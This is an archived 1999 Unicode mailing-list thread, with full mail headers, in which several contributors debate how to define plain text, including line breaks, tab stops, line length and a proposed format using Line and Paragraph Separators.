(mostly programming language source code). Alpha asks whether to wrap paragraphs when opening files. >Actually, it tends to be well-defined for each platform. And then the >interchange methods among platforms tend to converge on a few simple >conventions: ASCII (or the appropriate ISO character set, or now UTF-8 or >other form of Unicode), as opposed to EBCDIC (or Baudot, or Sixbit); CRLFs >separating lines, and paragraphs separated by blank lines. Somewhat less >well defined, but nevertheless in common use, are bare Carriage Return or >Backspace for overstriking, Formfeed for ""new page"", and Tab for tabbing >(with several different conventions about tabstops). That is, we agree on everything except our variant usages. >Lines are terminated at somewhere between 72 and 80 characters by >convention, because that's how wide terminal screens are, and before them >the Teletype carriage, and before that the most common kind of punchcard. >Or for that matter, typewriters and sheets of paper (A4 or US, take your >pick :-) > >To this day, we follow these conventions in newsgroups and email, although >now it might be more a matter of ""netiquette"" than necessity (as in the >BITNET days, when e-mail was, quite literally, 80-column card images). As long as e-mail readers cannot correctly reformat messages with bad line breaks (like this), it will be a matter of real necessity. >These simple conventions let us format our text exactly the way we want to. >We can indent or not, we can put line breaks where we want them, we can have >columns of numbers or other tabular presentations, mathematical expressions, which actually require several hundred non-ASCII characters, unless you mean, as so many do, arithmetic expressions. >and idiosyncratic forms of emphasis. Many people want their text to stay >the way they wrote it. And many people also are not fond of receiving email >in every kind of bizarre format than any application developer can dream up >when it contains, in fact, nothing but words (but I stray). When I want my text to stay as I wrote it, I put it into a PDF, not a text file. Others prefer TeX for this purpose, or PostScript. >> I think the Unix community should slowly get used to the idea of >> abandoning LFs in the middle of paragraphs in plain text documents and >> let the editor and display tool perform the reformatting at display >> time. >> >But what IS plain text? Maybe some people might like to have their email >reformatted, but I don't think they want their C or Fortran or PostScript >programs to receive the same treatment. Nor, for that matter poetry or any >other forms of text where line breaks, indentation, and blank lines serve a >purpose. As in, for example, the preceding paragraph. Yes, it's that old Devil cross-cultural ignorance again. It wouldn't surprise me if some people here had never even read a Fortran program. >No more plain-text bashing! No more ""legacy"" saying! Our focus should be >not on stamping out plain text, but on promoting international multilingual >communication through a universal character set that does not impose a >a particular modus vivendi upon its users. > >- Frank We raised the question of defining a Unicode plain text format about two years ago, but nothing seemed to come of it. We also discussed the possibility of actually *using* Unicode text in this discussion, but nothing came of that either. Does anyone else here feel excessively constrained by our lack of glyphs for the characters we talk about? Would anyone else like to get UTF-8-capable mailers and extensive sets of Unicode fonts and see what effect they have on our deliberations? I have made the suggestion before, but here goes again--Alis Technologies offers a 30-day free trial period of its Tango Browser with Tango E-mail, downloadable from http://www.alis.com/internet_products/try_form.html. It runs on Windows 95, 98, and NT. Would anyone care to try it with me? -- Edward Cherlin President Coalition Against Unsolicited Commercial E-mail Help outlaw Spam. Talk to us at 2-Jul-99 16:04:55-GMT,11158;000000000001 Return-Path: Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id MAA17085; Fri, 2 Jul 1999 12:02:27 -0400 (EDT) Date: Fri, 2 Jul 99 12:02:27 EDT From: Frank da Cruz To: Edward Cherlin Subject: Re: Plain Text In-Reply-To: Your message of Fri, 2 Jul 1999 00:07:54 -0700 (PDT) Cc: unicode@unicode.org Message-ID: > The problems we have with ASCII plain text come mainly from a small set of > common variant practices. > > Using CR, LF, or CR/LF as a line or paragraph end > Different tab spacings > Optional line wrap > Formfeed codes vs. computed page breaks > BS = DEL or BS-overstrike > We all have dealt with these annoyances throughout our careers. They are indeed annoying, but not impassible impediments. Also, let's not mix up: . File storage format . Interchange format . Data entry format > Using CR, LF, or CR/LF as a line or paragraph end > As a line end: This is a file storage issue. As a paragraph end: There is no such thing as a paragraph end or paragraph separator in traditional plain text. Here I am sitting at my VT100 terminal, which is plugged in to my UNIX computer. I type: This is a line Then I push the Return key (sometimes marked Enter), which sends a Carriage Return. I would enter a line in exactly the same way no matter what computer was on the far end of the wire. Now: . The UNIX terminal driver turns the CR into a LF before giving it to the application. If the application is storing the line into a file, the file gets ""This is a line"". Ditto for some other operating systems, like AOS/VS. . If I had OS-9 on the far end, it would store ""This is a line"". . If I had TOPS-10, TOPS-20, RT-11, etc, on the far end, it would store ""This is a line"". . If I had VMS, VOS, VM/CMS, MVS/TSO or other complex file system on the far end, who knows how the line would be stored -- it depends on chosen the file organization and record format. The point is, it doesn't matter. Each platform has its own format for internal use, but a standardized interface to the outside world. To further demonstrate this fact, if I then tell the computer on the far end to ""type"" or ""cat"" the file, it will, invariably, send: This is a line So who cares what the file format is -- except of course when we want to transfer the file to another platform. In that case, it is the responsibility of each file-transfer agent to convert between its peculiar local format and the common one. And that is exactly what they do, just as is done at the terminal/terminal-driver/data-entry level. FTP and Kermit are two examples that show it is not that hard to convert plain-text file record formats from one platform to another. (And in Kermit's case, the character set too.) Of course life would have been simpler if there had been only ONE standard text-file format used on all platforms. But the early days of computing was a time of ""Let the Hundred Flowers Bloom"", and they did. Now, however, we are in a position to start over, and it is an opportunity we are not likely to have again. > Different tab spacings > I used to say this too, but the last platform I know about that did not assume tabstops at 1,9,17,25,... was MULTICS. Of course tabs are variable in word processors, etc, but that is not plain text. > Optional line wrap > This is a feature of the terminal or the application, not of ""plain text"". Files that do not contain line breaks and must rely on some form of postprocessing to insert line breaks at appropriate points is not really plain text, it is ""input for a text formatter"". Prior to the advent of word processors, the idea of ""long line as paragraph"" never came up. > Formfeed codes vs. computed page breaks > Page breaks are an issue worth discussing, and we discussed them at some length two years ago. Basically, you can let your ""rendering engine"" or printer driver insert them for you, or you can insert them yourself. One should be allowed the choice. (Why would anybody want ""hard"" page breaks? Because they are printing paychecks, invoices, envelopes, etc.) > BS = DEL or BS-overstrike > This is a data entry issue, unless you mean including BS in a file for overstriking. But in that case, there is never any confusion between BS and DEL, since DEL is never used for that purpose. In other words, the only confusion is at data entry, and this is entirely irrelevant to the definition of plain text. > >Lines are terminated at somewhere between 72 and 80 characters by > >convention, because that's how wide terminal screens are, and before them > >the Teletype carriage, and before that the most common kind of punchcard. > >Or for that matter, typewriters and sheets of paper (A4 or US, take your > >pick :-) > > > >To this day, we follow these conventions in newsgroups and email, although > >now it might be more a matter of ""netiquette"" than necessity (as in the > >BITNET days, when e-mail was, quite literally, 80-column card images). > > As long as e-mail readers cannot correctly reformat messages with bad > line breaks ^^^^^^^^^^^^^^^^^^^^^^^^^^^ > (like this), it will be a matter of real necessity. > What does ""correctly reformat messages"" mean? How can your mail client read my mind? How does it know that the message I sent you was not already formatted exactly the way I wanted it? Notice that to illustrate my point, I need your original formatting (above) preserved, with the ""> "" quote indicators added at the left margin, and with my emphasis added under the appropriate words. What is a ""correct"" mail client supposed to do with this? Something like this?: > As long as e-mail readers cannot correctly reformat messages with bad > line breaks ^^^^^^^^^^^^^^^^^^^^^^^^^^^ > (like this), it will be a matter of real necessity. No, a correct email client will leave it alone. Whether I want my email reformatted by your client should be my choice, since only I know what my intentions are in sending it. Granted, plain text requires some minimal level of agreement, for example that your screen is 72 (or 76, or 79) columns wide. I maintain that this convention is universal, except for Kanji, etc, which are displayed in two character cells each. People who use email, netnews, and other forms of open, interplatform communication have learned these conventions. We use them ourselves on this mailing list. Those of us who do not are often excoriated for our antisocial behavior. Especially when we send email or netnews in some application-specific format, assuming that everybody else uses the same platform and applications we do. > >These simple conventions let us format our text exactly the way we want > >to. We can indent or not, we can put line breaks where we want them, we > >can have columns of numbers or other tabular presentations, mathematical > >expressions, > > which actually require several hundred non-ASCII characters, unless you > mean, as so many do, arithmetic expressions. > Yes, that's what I meant, thanks. (All of us here recognize the shortcomings of ASCII -- that's why we're here! But let's not forget that ASCII can be used to write, say, Fortran programs that can handle far more in the way of mathematics than the repertoire of ASCII might suggest, and that people send Fortran-like expressions back and forth in email, etc, which could easily lose their meaning when reformatted.) > When I want my text to stay as I wrote it, I put it into a PDF, not a text > file. Others prefer TeX for this purpose, or PostScript. > My point exactly. And how do I read your PDF if I don't have a PDF reader? (Don't say ""get one"" -- I'm reading your mail on a DOS PC or a PDP-11, or a Cray supercomputer.) How do I read TeX if I don't have the software? How do I read PostScript if I don't have a PostScript printer or rendering engine. But the crucial point is: How will I read your PDF file 200 years from now, when PDF itself has been consigned to the ""legacy"" trashheap for the past 195 years? > We raised the question of defining a Unicode plain text format about two > years ago, but nothing seemed to come of it. > Then let's try again. Let me get the ball rolling with the following simple suggestion for Unicode Plain-Text File and Interchange Format: A monospaced character-cell display device is assumed for the purposes of line breaking. Characters that are too wide for a character cell (such as Kanjis) occupy a double-width cell. Of course, Unicode Plain Text can also be displayed on any other kind of device, in any font, monospaced or not, in which case ""all bets are off"", just as they are now with traditional plain text when displayed in a proportional font. Conversely, it is recognized that a monospaced (or duospaced) character-cell device might be inadequate for display of certain writing systems, such as Arabic or Indic scripts, and in this case intelligent rendering engines might very well be required. This should, nevertheless, be possible with plain text, without the aid of any particular markup scheme. Plain text is composed only of Unicode characters, with no meta-level of formatting information, presentation hints, etc, except: 1. Spaces, such as U+0020 and U+00A0, which are are ""kept"" (e.g. adjacent spaces are not collapsed). 2. Horizontal Tabs are indicated by the HT character, U+0009. Tab stops shall be assumed every 8 columns, starting at the first. (This provision is primarily to facilitate conversion of ASCII and 8-bit text to Unicode. Alternatively, it would be OK to force all horizontal alignment to be accomplished by spaces.) 3. Line breaks are indicated by Line Separator, U+2028. Preformatted text must break lines at column 79 or less to avoid unwanted reformatting. Column numbers are 1-based, relative to the left or right margin, according to the previaling directionality, with single-width characters as the counting unit. A line break is required at the end of the final line if it is to be considered a line. (This is to allow append operations to work in the expected fashion.) 4. Paragraph breaks are indicated by two successive Line Separators or by Paragraph Separator, U+2029. 5. Hard page breaks are indicated by FF, U+000C. C0 and C1 control characters other than HT and FF have no function whatsoever in Unicode Plain Text. (If there were Unicode Horizontal Tab and Page Break characters, we wouldn't need C0 at all; however, the UTC -- or at least members of it, in previous discussions -- indicated that there is no good reason to duplicate the C0 characters that are already in Unicode.) A Unicode plain-text ""rendering engine"" shall not mess with the format of a plain-text file except, optionally, at the user's discretion, to wrap lines that are longer than the display or printing device. Higher-level rendering engines, of course, can do whatever they want. - Frank 2-Jul-99 16:32:42-GMT,2273;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA25758 for ; Fri, 2 Jul 1999 12:32:41 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id JAA248914 ; Fri, 2 Jul 1999 09:27:18 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA21218; Fri, 2 Jul 99 09:18:02 -0700 Message-Id: <9907021618.AA21218@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8293 (1999-07-02 16:17:51 GMT) From: Frank da Cruz To: Unicode List Date: Fri, 2 Jul 1999 09:17:48 -0700 (PDT) Subject: Plain text: Amendment 1 90 seconds later... 1. Spaces, such as U+0020 and U+00A0, which are are ""kept"" (e.g. adjacent spaces are not collapsed). 2. Horizontal Tabs are indicated by the HT character, U+0009. Tab stops shall be assumed every 8 columns, starting at the first. (This provision is primarily to facilitate conversion of ASCII and 8-bit text to Unicode. Alternatively, it would be OK to force all horizontal alignment to be accomplished by spaces.) 3. Line breaks are indicated by Line Separator, U+2028. Preformatted text must break lines at column 79 or less to avoid unwanted reformatting. Column numbers are 1-based, relative to the left or right margin, according to the previaling directionality, with single-width characters as the counting unit. A line break is required at the end of the final line if it is to be considered a line. (This is to allow append operations to work in the expected fashion.) 4. Paragraph breaks are indicated by two successive Line Separators or by Paragraph Separator, U+2029. 5. Hard page breaks are indicated by FF, U+000C. Change (4) to: 4. Paragraph breaks are indicated by Paragraph Separator, U+2029. Add to (3): A blank line is indicated by two successive Line Separators. Two blank lines are indicated by three of them, etc. This is to allow paragraphs like this one, which contain embedded ""displays"" set off by blank lines that are NOT paragraph separators. - Frank 2-Jul-99 17:17:52-GMT,4232;000000000011 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id NAA07783 for ; Fri, 2 Jul 1999 13:17:51 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id KAA281172 ; Fri, 2 Jul 1999 10:08:26 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA21632; Fri, 2 Jul 99 09:58:39 -0700 Message-Id: <9907021658.AA21632@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8294 (1999-07-02 16:58:29 GMT) From: Geoffrey Waigh To: Unicode List Date: Fri, 2 Jul 1999 09:58:27 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit Frank da Cruz wrote: > > Then let's try again. Let me get the ball rolling with the following simple > suggestion for Unicode Plain-Text File and Interchange Format: > > A monospaced character-cell display device is assumed for the purposes of > line breaking. Characters that are too wide for a character cell (such as > Kanjis) occupy a double-width cell. Of course, Unicode Plain Text can also > be displayed on any other kind of device, in any font, monospaced or not, in > which case ""all bets are off"", just as they are now with traditional plain > text when displayed in a proportional font. Why are you specifying font characteristics for plain text? > Conversely, it is recognized that a monospaced (or duospaced) character-cell > device might be inadequate for display of certain writing systems, such as > Arabic or Indic scripts, and in this case intelligent rendering engines > might very well be required. This should, nevertheless, be possible with > plain text, without the aid of any particular markup scheme. And then saying that you don't really need a monospace font and it is still plain text even when you have to do a proper job of rendering it? > > Plain text is composed only of Unicode characters, with no meta-level > of formatting information, presentation hints, etc, except: > > 1. Spaces, such as U+0020 and U+00A0, which are are ""kept"" (e.g. > adjacent spaces are not collapsed). I don't see how barring all the other spacing and presentation codes (e.g. ZWNJ) improves plain text. > > 2. Horizontal Tabs are indicated by the HT character, U+0009. Tab > stops shall be assumed every 8 columns, starting at the first. (This > provision is primarily to facilitate conversion of ASCII and 8-bit > text to Unicode. Alternatively, it would be OK to force all > horizontal alignment to be accomplished by spaces.) > > 3. Line breaks are indicated by Line Separator, U+2028. Preformatted > text must break lines at column 79 or less to avoid unwanted > reformatting. Column numbers are 1-based, relative to the left or > right margin, according to the previaling directionality, with > single-width characters as the counting unit. A line break is > required at the end of the final line if it is to be considered a > line. (This is to allow append operations to work in the expected > fashion.) I don't see how specifying the maximum text width is in the purview of ""plain text."" That is suggesting that running my terminal in 132 column mode (or printing on wide paper/with narrow fonts,) involves something special. I suspect that all the attention to cell widths, column counting and what not is to make tab processing map nicely to the character cell terminal model. That model is responsible for some horrible hacks when it migrated to other countries and I believe the difficulties in adapting software that depends on it to writing systems it does not work for has been a serious drag on more advanced Unicode implementations. > > 4. Paragraph breaks are indicated by two successive Line Separators > or by Paragraph Separator, U+2029. If we are supporting Unicode and have a notion of Paragraph it seems reasonable to specify it is denoted with U+2029. > > 5. Hard page breaks are indicated by FF, U+000C. Geoffrey 2-Jul-99 18:15:24-GMT,5607;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA24570 for ; Fri, 2 Jul 1999 14:15:23 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id LAA270448 ; Fri, 2 Jul 1999 11:10:54 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA22476; Fri, 2 Jul 99 10:54:55 -0700 Message-Id: <9907021754.AA22476@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8297 (1999-07-02 17:54:45 GMT) From: Frank da Cruz To: Unicode List Cc: unicode@unicode.org Date: Fri, 2 Jul 1999 10:54:44 -0700 (PDT) Subject: Re: Plain Text > Why are you specifying font characteristics for plain text? > Only for purposes of getting across the idea that ""long line = paragraph, break where you please"" should not be considered well-formed plain text. Or, to look at it the other way, that plain text must allow for hard line breaks, and there should be a convention as to how long we might reasonably expect lines to be. ""Columns"" are the only measurement that makes sense (surely not picas, inches, millimeters, pixels, ...) and this presupposes fixed spacing. This might be a farfetched notion except that it is completely consonent with current practice. The fact that monospaced fonts have fallen out of fashion should not cloud our judgement. Naturally they present some difficulties for multilingual text, but they also provide numerous benefits. They let me compose a text document that anybody can read in -- barring ""rendering engine"" interference -- the same form in which I composed it. Tables line up, columns of numbers add up, comments in my C program are aligned, etc. All this without our having to agree in advance on which rendering engine or markup language to use. Parenthetically, look at the mess the craze for the typeset appearance has gotten us into. If I want to make a table on a Web page or in a typeset document, I have to use some kind of markup language or ""table"" package, rather than just spacing or tabbing the items appropriately. Which is fine until you consider that any markup language or tables package you are using today will be long forgotten a few years from now, and so your laboriously constructed document will either require conversion or be lost forever (or humans will need to read the markup language directly). As noted, I grant that the monospace-font model does not apply equally well to all writing systems, but for the many to which it does apply -- Roman, Hebrew, Cyrillic, Armenian, Greek, Georgian, etc, and to some extent CJK since, at least in Japan, they have been using mono- and duospaced fonts on terminals and PCs for decades, and care as much about things lining up as anybody else -- should guidelines not be stated up front? > > 1. Spaces, such as U+0020 and U+00A0, which are are ""kept"" (e.g. > > adjacent spaces are not collapsed). > > I don't see how barring all the other spacing and presentation codes > (e.g. ZWNJ) improves plain text. > They aren't barred -- they are Unicode characters that are not C0 or C1 control characters. And they aren't a higher-level markup language. > I don't see how specifying the maximum text width is in the purview of > ""plain text."" That is suggesting that running my terminal in 132 column > mode (or printing on wide paper/with narrow fonts,) involves something > special. I suspect that all the attention to cell widths, column > counting and what not is to make tab processing map nicely to the > character cell terminal model. That model is responsible for some > horrible hacks when it migrated to other countries and I believe the > difficulties in adapting software that depends on it to writing systems > it does not work for has been a serious drag on more advanced Unicode > implementations. > I suppose you're right about the intention. That's what the discussion is for -- to find suitable language for expressing a model for ""text that is already formatted and stands on its own without additional formatting from any higher intelligence and that can displayed by the most minimalistic plain-text viewer"", like this email message. You might be right about specifying a maximum line length. And yet, if there is to be such a thing as preformatted plain text, and none of us can deny that there already is such a thing since this is how we commicate, should there not be some form of guideline as to what is a safe default line-length, in the absence of any prior agreement to set a different one? That's what we do now, implicitly. Why not make it explicit? So how should the guideline be expressed? Let's assume you are composing some plain text, and you don't care how it's rendered. Then don't include Line Separators and let the viewer ""flow"" the text. That's fine for ordinary prose, but it assumes a viewer that knows how to flow text, and I'm not sure that a text-flowing viewer should be assumed or required. As somebody mentioned earlier, most printers will truncate long lines, as will many terminals and other display devices. If you do care how the text is rendered, include Line Separators. > > 4. Paragraph breaks are indicated by two successive Line Separators > > or by Paragraph Separator, U+2029. > > If we are supporting Unicode and have a notion of Paragraph it seems > reasonable to specify it is denoted with U+2029. > Agreed and amended already. - Frank 2-Jul-99 18:32:33-GMT,4626;000000000001 Return-Path: Received: from inergen.sybase.com (inergen.sybase.com [192.138.151.43]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA29877 for ; Fri, 2 Jul 1999 14:32:32 -0400 (EDT) Received: from smtp1.sybase.com (sybgate.sybase.com [130.214.220.35]) by inergen.sybase.com with ESMTP id LAA07740; Fri, 2 Jul 1999 11:33:15 -0700 (PDT) Received: from birdie.sybase.com (birdie.sybase.com [130.214.140.3]) by smtp1.sybase.com with SMTP id LAA03792; Fri, 2 Jul 1999 11:32:11 -0700 (PDT) Received: by birdie.sybase.com (5.x/SMI-SVR4/SybEC3.5) id AA03974; Fri, 2 Jul 1999 11:32:11 -0700 Date: Fri, 2 Jul 1999 11:32:11 -0700 From: kenw@sybase.com (Kenneth Whistler) Message-Id: <9907021832.AA03974@birdie.sybase.com> To: fdc@watsun.cc.columbia.edu Subject: Re: Plain text: Amendment 1 Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII The problem I am having with Frank's suggestions boil down essentially this: The Unicode concept of plain text is of a text stream consisting only of Unicode characters, interpreted according to the rules of the standard, and not including (or not interpreting the inclusion of) higher-level markup, however expressed. It does not involve specification of particular font behavior (including monospacing), details of terminal interaction, or line length. It is that concept of Unicode plain text that we intend and hope will be stable for the next century. Given the text stream itself, basic textual content should be derivable, although not necessarily any detailed layout information. The intended invariant is textual content, rather than document form including textual content. To specify invariant document form, it is clear that a higher-level protocol must be specified. And I see Frank's Unicode plain text proposal as just the bare-bottom, minimal common denominator for a document description standard. In that respect it is no different from PDF, except in complexity and faithfulness to original appearance of a document in all details. Some of the difficulty of this discussion, of course, derives from the fact that the Unicode Standard unavoidably had to contain some bare minimum of format control characters. We have had to specify format semantics for CR, LF, TAB, VT, FF because there was no way we were going to get from the past to the future without people converting existing documents using these (or carrying analogous practice into new documents); and LS and PS were added to provide a minimum, unambiguous set of format controls to organize plain text. Bidi format controls were added because they had to be: otherwise, you run into situations where intended content is inexpressible, or existing content is uninterpretable in plain text. And on the other hand, the situation is muddied by plain text markup conventions where the markup is carried around in the plain text: 9/23/98 38 widgets sold 65,416 --- 65,416 Where the ""plain text"" is: ""NLF9/23/98NLF38 widgets soldNLF65,416NLF---NLF65,416NLF"" But the plain text of the content is 5 strings: ""9/23/98"" ""38 widgets sold"" ""65,416"" ""---"" ""65,416"" And the full document desription is, of course, not just these 5 strings, but includes the fact that they constitute a row embedded in a table, and are aligned in specified ways within the cells in that row. The Unicode vision is that the character encoding standard itself should be as robust and useful in its larger domain as the 7-bit ASCII standard was in its own contrained textual domain. But given the enormous complexities that are inherent in trying to deal with *all* of the writing systems of the world, it is inevitable that plain text *layout* conventions involving Unicode are going to be considerably more complex than plain text *layout* conventions involving ASCII only. At the bare minimum, for example, plain text in Unicode *must* take bidirectional layout into account--otherwise, you would be saying that you could express Unicode content in plain text, as long as you avoided Hebrew, Arabic, and Syriac characters. In some respects, the entire content of the Unicode Standard beyond just the code charts and names lists is an elaborate attempt to describe what it means to deal with plain text layout and interpretation for all of the Unicode characters. It cannot be encapsulated in the kind of constraints that Frank has suggested, in my opinion. --Ken 2-Jul-99 18:51:30-GMT,5169;000000000011 Return-Path: Received: from mail.rdc1.bc.home.com (ha1.rdc1.bc.wave.home.com [24.2.10.66]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA05270 for ; Fri, 2 Jul 1999 14:51:28 -0400 (EDT) Received: from home.com ([24.113.28.108]) by mail.rdc1.bc.home.com (InterMail v4.01.01.00 201-229-111) with ESMTP id <19990702185120.ZXVS29070.mail.rdc1.bc.home.com@home.com>; Fri, 2 Jul 1999 11:51:20 -0700 Message-ID: <377D0A96.86F53390@home.com> Date: Fri, 02 Jul 1999 11:53:10 -0700 From: Geoffrey Waigh X-Mailer: Mozilla 4.5 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: unicode@unicode.org Subject: Re: Plain Text References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Frank da Cruz wrote: > > > Why are you specifying font characteristics for plain text? > > > Only for purposes of getting across the idea that ""long line = paragraph, > break where you please"" should not be considered well-formed plain text. > Or, to look at it the other way, that plain text must allow for hard line > breaks, and there should be a convention as to how long we might reasonably > expect lines to be. ""Columns"" are the only measurement that makes sense > (surely not picas, inches, millimeters, pixels, ...) and this presupposes > fixed spacing. See below for comments on maximum line length. When considering why other measurements were inappropriate I realized it is because ""preformatted"" plain text has no control over font size and thus cannot do position based formatting as someone would do on a sheet of paper. The cell model allows people to position text without recourse to a markup system but at the sacrafice of which scripts can be properly rendered. It happens that many of the commercially significant languages can cope with the cell model which is part of the reason it has survived so long. Unfortunately it just helps keep the hard writing systems in the ghetto because it isn't nearly as profitable and requires dealing with many cans of worms when trying to fit them to a system that depends on implicit positioning. > The fact that monospaced fonts have fallen out of fashion should not cloud > our judgement. Naturally they present some difficulties for multilingual > text, but they also provide numerous benefits. They let me compose a text > document that anybody can read in -- barring ""rendering engine"" interference > -- the same form in which I composed it. Tables line up, columns of numbers > add up, comments in my C program are aligned, etc. All this without our > having to agree in advance on which rendering engine or markup language to > use. Presumably the markup language specifies the semantics well enough to be rendering engine independent - if the rendering engine is capable of displaying the text as described. For text that is being sent without any markup, then monospace for the bulk of the text is probably what the reader should use (at least if they believe the text to have horizontal structure.) I just don't think that it should be enforced. As for the concerns about the ephemeral nature of markup languages, hopefully we will someday reach some stability for systems that don't require a proprietary encoder, do not require extensive computer training to grok and do not have flavour of the week problems. These difficulties are not inherent in the design of markup languages but an artifact of the political and economic forces driving them. > You might be right about specifying a maximum line length. And yet, > if there is to be such a thing as preformatted plain text, and none of us > can deny that there already is such a thing since this is how we commicate, > should there not be some form of guideline as to what is a safe default > line-length, in the absence of any prior agreement to set a different one? > That's what we do now, implicitly. Why not make it explicit? So how should > the guideline be expressed? Because if it is made explicit, software writers will feel free to take such a limit as a hard one and do silly things for text that exceeds it. Right now most software will handle long lines albeit sometimes awkwardly. If someone preformats their text for 200 columns, then that is what they should get if the output device can cope. If it cannot, they need to consider why they think it has to be 200 columns. In the case of Usenet and public mailing lists people have to curtail their lines if they don't want them mangled. > Let's assume you are composing some plain text, and you don't care how it's > rendered. Then don't include Line Separators and let the viewer ""flow"" the > text. That's fine for ordinary prose, but it assumes a viewer that knows > how to flow text, and I'm not sure that a text-flowing viewer should be > assumed or required. As somebody mentioned earlier, most printers will > truncate long lines, as will many terminals and other display devices. > > If you do care how the text is rendered, include Line Separators. I agree with this. Geoffrey 2-Jul-99 20:08:21-GMT,3467;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA25355 for ; Fri, 2 Jul 1999 16:08:20 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id MAA91712 ; Fri, 2 Jul 1999 12:56:37 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA24684; Fri, 2 Jul 99 12:47:49 -0700 Message-Id: <9907021947.AA24684@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8306 (1999-07-02 19:47:40 GMT) From: Frank da Cruz To: Unicode List Cc: unicode@unicode.org Date: Fri, 2 Jul 1999 12:47:39 -0700 (PDT) Subject: Re: Plain Text OK, then perhaps the idea of ""recommended maximum line length"" is an unnecessary complication. Perhaps it is enough to say that Line Separator means what it says. If I put one in my text, then it means to start a new line. If I make sure that there are no more than 79 characters between line separators (or whatever else is appropriate to my writing system), I'll get the desired effect. > As for the concerns about the ephemeral nature of markup languages, > hopefully we will someday reach some stability for systems that > don't require a proprietary encoder, do not require extensive > computer training to grok and do not have flavour of the week > problems. These difficulties are not inherent in the design of > markup languages but an artifact of the political and economic > forces driving them. > Right, of course. But we can we trust the market to settle on a simple standard for plain text? Of course not; there's no money in it. Does the market want an immutable standard for plain-text documents that can last for a century or an eon? Of course not. The market wants everything to change all the time, so everybody will have to ""upgrade"" constantly. That's great for business but bad for preservation of history and culture. And it shortens the productive lives of ""content providers"". There are ways to make money that don't require artificially induced instability. Furthermore, I would not like to think that in the Unicode world of the future, that it will not be possible to send preformatted email or netnews without the assistance of some specific markup language or embedded proprietary word-processor codes. Email has already deteriorated significantly from its original openness thanks to MIME's blessing of any kind of proprietary gewgaw any vendor wants to add to their GUI email clients. Thus a perfect application for Unicode plain text would be as a MIME type, specifically intended to proclaim and promote the adherence to a simple, universal, vendor-independent, self-contained standard. Hopefully the IETF would have the sense to see the value of a Unicode successor to RFC822. So I'd like to see a definition for plain text in the Unicode standard, that is totally independent of any external product, that allows a file or stream of Unicode text to stand on its own, for all time, and retain a minimum level of formatting, in those cases where the author of the text feels formatting is important. (In fact, all of us do, otherwise we wouldn't care so much about fonts and rendering engines and markup languages). I think email and netnews are two areas where the need for such a standard is evident. - Frank 2-Jul-99 20:31:40-GMT,1251;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA01309 for ; Fri, 2 Jul 1999 16:31:39 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id NAA185114 ; Fri, 2 Jul 1999 13:26:21 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA25362; Fri, 2 Jul 99 13:17:37 -0700 Message-Id: <9907022017.AA25362@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 8308 (1999-07-02 20:17:28 GMT) From: ""Paul Dempsey (Exchange)"" To: Unicode List Date: Fri, 2 Jul 1999 13:17:27 -0700 (PDT) Subject: RE: Plain Text This would be a fine standard. However, it doesn't have to be part of the _Unicode_ standard, and I don't think it belongs as a normative part of Unicode. As minimal as it may be, it still falls into the domain of file formats and ""higher-level protocol"". It's a tribute to the success of Unicode that people want to piggyback on it's success to solve closely related problems. --- Paul 2-Jul-99 23:30:54-GMT,1326;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA29893 for ; Fri, 2 Jul 1999 19:30:53 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id QAA194924 ; Fri, 2 Jul 1999 16:24:01 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA28898; Fri, 2 Jul 99 16:10:32 -0700 Message-Id: <9907022310.AA28898@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8321 (1999-07-02 23:10:02 GMT) From: John Cowan To: Unicode List Date: Fri, 2 Jul 1999 16:10:01 -0700 (PDT) 